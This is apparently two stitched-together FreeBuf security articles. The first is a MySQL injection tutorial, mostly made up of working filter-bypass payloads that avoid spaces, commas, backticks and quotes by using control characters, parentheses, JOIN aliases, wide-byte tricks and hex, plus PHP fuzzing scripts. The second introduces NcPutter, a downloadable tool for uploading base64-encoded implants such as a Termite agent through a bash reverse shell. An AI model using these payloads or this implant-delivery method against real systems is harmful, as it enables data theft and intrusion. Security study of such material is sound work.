*本文原创作者:Zzzxbug,本文属FreeBuf原创奖励计划,未经许可禁止转载

对于mysql的注入,基本上是每一名web安全从业者入门的基本功,这里不多废话,结合本人无聊时在mysql上的测试,来谈一谈mysql在过滤某些特殊字符情况下的注入,因为是想到哪写到哪,文章比较散,各位大佬请绕过,和我一样的小白可以看一看,温故而知新,必有所获。

php查询mysql的后台脚本就不搭了,没有多大意义,直接从mysql控制台开始测试。首先从最简单的开始:

直接使用mysql系统库做测试:

捕获.PNG我们假设在user后存在注入点:那么在利用order by获得列数后进行union注入:

捕获.PNG

现在开始增加难度,假设后端代码过滤了空格,我们可以替换空格的方法很多:/**/,0x0a,0x0b,0x0c,0x0d:

捕获.PNG

上图使用/**/替换空格

捕获.PNG上图使用0x0a号字符替换空格,注意:按住alt键+小键盘输入10再松开alt键即可在控制台中输入ascii字符0x0a

捕获.PNG上图使用0x0b号字符替换空格,注意:按住alt键+小键盘输入11再松开alt键即可在控制台中输入ascii字符0x0b

捕获.PNG上图使用0x0c号字符替换空格,注意:按住alt键+小键盘输入12再松开alt键即可在控制台中输入ascii字符0x0c

捕获.PNG上图使用0x0d号字符替换空格,注意:按住alt键+小键盘输入13再松开alt键即可在控制台中输入ascii字符0x0d,但因为在控制台中一旦输入0x0d,就会执行指令,所以这里只在union前输入了一次。

做到这里我们可能会想,除了这些字符外还有没有其它字符可以替换空格呢,我们fuzz一下:

<?php

$mysqli = new mysqli('localhost', 'root', '', 'mysql');

if ($mysqli->connect_errno) {

    die("could not connect to the database:\n" . $mysqli->connect_error);

}

$i=0;

while($i++<256){

    $sql = "select host,user from user where user='a'".chr($i)."union".chr($i)."select 1,2;";

    $res = $mysqli->query($sql);

    if ($res) {

        echo "Ok!:$i:".chr($i)."<br>";

    }    

}

$mysqli->close();

?>

将以上代码存为1.php,放入apache中网页访问,显示结果:

捕获.PNG可以发现,除了我们刚刚使用的0x0a,0x0b,0x0c,0x0d外还有9号与160号字符可以替换空格(32号本身就是空格,35是注释符不能查询获得正确结果,9号是tab,刚刚漏了,至于160号字符为什么行,我也不知道,那位哥如果知道可以告诉大家)。

进一步思考:如果这些字符都被过滤了,有没有办法不依靠空格来注入呢,办法还是有的,看下面的语句:

捕获.PNG在这个语句中: 

select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);

利用了括号、反引号来隔离了sql关键词与库名表名列名,完成了注入。

接下来继续提高难度,我们的注入语句中有许多逗号,看了让人不爽,如果把逗号也过滤掉,我们有没有办法注入呢,方法还是有的,我们可以结合join语句和子查询的别名来替换逗号,看下面的语句:捕获.PNG在这个语句中,我们利用join与别名,成功的避免使用逗号实现了注入:

select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));

玩到这里,我脑洞忽然大开:mysql的子查询别名是可以无限嵌套的么,像俄罗斯套娃一样,下面的语句可以无限扩展么,会不会出现溢出呢:

捕获.PNG为了验证,我又进行了一次fuzz,将下面的代码存为2.php,放入apache中网页访问:

<?php
$mysqli = new mysqli('localhost', 'root', '', 'mysql');
if ($mysqli->connect_errno) {
    die("could not connect to the database:\n" . $mysqli->connect_error);
}
$i=1;
$sql = "select'1'";
while($i++){
    $alias='a'."$i";
    $sql = "select*from(".$sql.")$alias";
    $res = $mysqli->query($sql);
    if(!$res){
        echo $mysqli->error;
        break;
    }else{
        echo $sql."<br>";
    }
}
$mysqli->close();
?>

结果如下:

select*from(select'1')a2
select*from(select*from(select'1')a2)a3
select*from(select*from(select*from(select'1')a2)a3)a4
select*from(select*from(select*from(select*from(select'1')a2)a3)a4)a5
。。。。。。
select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select'1')a2)a3)a4)a5)a6)a7)a8)a9)a10)a11)a12)a13)a14)a15)a16)a17)a18)a19)a20)a21)a22)a23)a24)a25)a26)a27)a28)a29)a30)a31)a32)a33)a34)a35)a36)a37)a38)a39)a40)a41)a42)a43)a44)a45)a46)a47)a48)a49)a50)a51)a52)a53)a54)a55)a56)a57)a58)a59)a60)a61)a62)a63)a64
Too high level of nesting for select 

可以看到在嵌套64次后,mysql输出了”Too high level of nesting for select”的错误信息,也就是说我们最多用mysql进行嵌套子查询64层。

继续回到正题上,再来看刚刚的语句:

select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));

在库名、表名、列名不带空格、*、{、}等特殊符号的情况下(我猜想反引号的存在本来就是为了这类特殊库名表名列名准备的),语句中的反引号也可以用括号代替,变成下面的语句,这样即使过滤了反引号也可以实现注入:

select host,user from user where user='a'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)='mysql')a)join(select(table_type)from(information_schema.tables)where(table_schema)='mysql')b));

如果存在宽字节注入,那么即使过滤了单引号,我们也可以注入,这时语句变成这样:

select host,user from user where user='a?'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)=0x6D7973716C)a)join(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));

在注入点处使用宽字节绕过\,将后面的数据处替换成十六进制,来避免了单引号。

其他技巧:

某些web应用只取查询结果的第一行,这时可以使用group_concat()来获取完整数据,例如:

select host,user from user where user='a?'union(select*from(((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=0x6D7973716C)a)join(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));

也可以多加几个条件判断来逐行获取所要的数据:

select host,user from user where user='a?'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)=(0x6D7973716C)and(table_name)!=(0x6462)and(table_name)!=(0x67687478).......)a)join(select(0x77)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));

*本文原创作者:Zzzxbug,本文属FreeBuf原创奖励计划,未经许可禁止转载

* 本文作者:Zzzxbug,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

timg.jpg在本文中,我将介绍一款自己编写的小工具NcPutter,并用它来实现在只有bash反弹shell情况下的文件上传。

在渗透测试过程中,我们可能会遇到这样一种情景,即已将让目标机通过bash反弹shell与我们的机器建立了连接,需要向目标机上上传木马或其他可执行文件来做进一步提权或进行内网渗透,很多人可能会采用在目标机上执行wget、ftp、curl、nc等工具命令获取相关可执行文件,可这些方法有以下缺陷:

1.目标机不一定安装了这些软件,且目标机可能无法连接公网获取这些软件。

2.即使能够暗转安装这些软件,也会留下痕迹,清理起来比较麻烦。

那么,考虑在这种极端情况下,我们如何只通过目标机的bash反弹shell来上传文件呢,我的思路其实很简单,通过base64编码可执行文件,在我们的bash中向目标发送编码的字符串,然后在目标机将其base64解码还原,步骤很简单,但过程中还有一些细节需要注意,下面我们来实际操作一下。

我们本地机使用一台windows10,目标机使用一台最小化镜像安装的centos7(最小化安装就决定了它没有wget,也没有ftp等软件)。在上传一个真正的可执行文件之前,我们先尝试上传一个简单文本文件,看看我们的思路是否能行得通。

首先在本地利用windows自带的工具certutil来编码一个简单的文本,这里简单介绍一下certutil命令,certutil.exe是windows下用于备份证书服务管理的工具,支持xp-win10,它有许多的选项,

有兴趣的同学可以上官网看看它的用法:

https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc755341(v=ws.10)

在渗透中它还可以用来当下载器:

https://www.cnblogs.com/backlion/p/7325228.html

不过我们这里只用它的-encode来base64编码文件。

它的用法是:certutil -encode originalFile targetFile,其中originalFile是我们的原始文件,targetFile是生成的base64编码后的文件。

这里我们准备一个test.txt,利用certutil将其base64编码:

certutil.gif

对生成的simple.txt我们还要做一些处理,将文件第一行与最后一行删除,并将所有的回车换行符(windows下为\r\n)替换为空,即让最终的simple.txt只剩下一行,这样才便于我们后面发送:

deal.gif待发送的数据我们已经处理完毕,下面在目标机上建立bash反弹连接并发送:

注意这echo命令要使用-n参数(在Windows上为-c参数),以免生成换行符,导致base64不识别。

发送完毕后,我们在linux的shell里面base64解码test.txt,比较生成的aa.txt,可以看出它的内容与我们本地原始的文件是一致的,说明我们通过这种方法传送文件的思路是可行的,那么下面我们就通过这种思路来实现上传可执行文件。

通常可执行文件的大小至少也是几十kb的,将其base64处理后,一行一行echo可是要累死的,我们当然不能干这种蠢事,这里我做了一款小软件来替我们干这苦力活,我叫它NcPutter,其实现原理是向nc的输入管道发送数据,相当于nc的一个外挂,目前它还只有windows版本,源码后面我会发布到GitHub,暂时先分享一下网盘链接:

链接:https://pan.baidu.com/s/1R_LVyaFSPv_MD2sp9KyC_Q 密码:49fk

下面介绍一下NcPutter的用法。

首先将NcPutter.exe与nc.exe以及经过处理的待发送文件放在同一目录下(经过处理是指一通过certutil进行了base64编码并删除了首尾两行并删除了回车换行符只剩下一行);

然后在cmd窗口中运行NcPutter.exe -p port -f file,这里的port即nc.exe要监听的端口,file即经过处理的待发送文件,在下面的演示中我们假设要传送termite的linux的agent端执行程序,根据目标机的linux版本选择好对应的agent版本:

choose.gif对这个可执行文件进行base64编码处理:

agentbase64.gif

可以看到base64编码后的字符串很长,利用echo一段发送是不现实的,因为有缓冲区大小限制,那么我们利用NcPutter来传送:

NcPutter1.gif

当NcPutter的窗口中出现“If the remote linux bash has been connected to the local nc.exe,press any key.”提示时,表明本地已经启动好nc.exe监听,等待linux端进行bash反弹,一旦bash反弹连接建立,在NcPutter中按下任意键即可自动发送刚刚的file参数指定的文件中的数据:

NcPutter2.gif

发送的数据会存储到result.txt这个文件中,随后NcPutter会调用base64 -d result.txt > originalFile,还原文件为originalFile,传送结束后,关闭NcPutter窗口,利用nc重新建立连接,检验一下originalFile是否可以正常工作:

check.gif检验完毕,还原出的originalFile即termite的agent端完全可以正常工作,利用bash反弹shell上传文件成功!

Tips:在Linux端一定要切换目录至可写目录下再反弹shell,不然会产生不了文件。

*本文作者:Zzzxbug,本文属FreeBuf原创奖励计划文章,未经许可禁止转载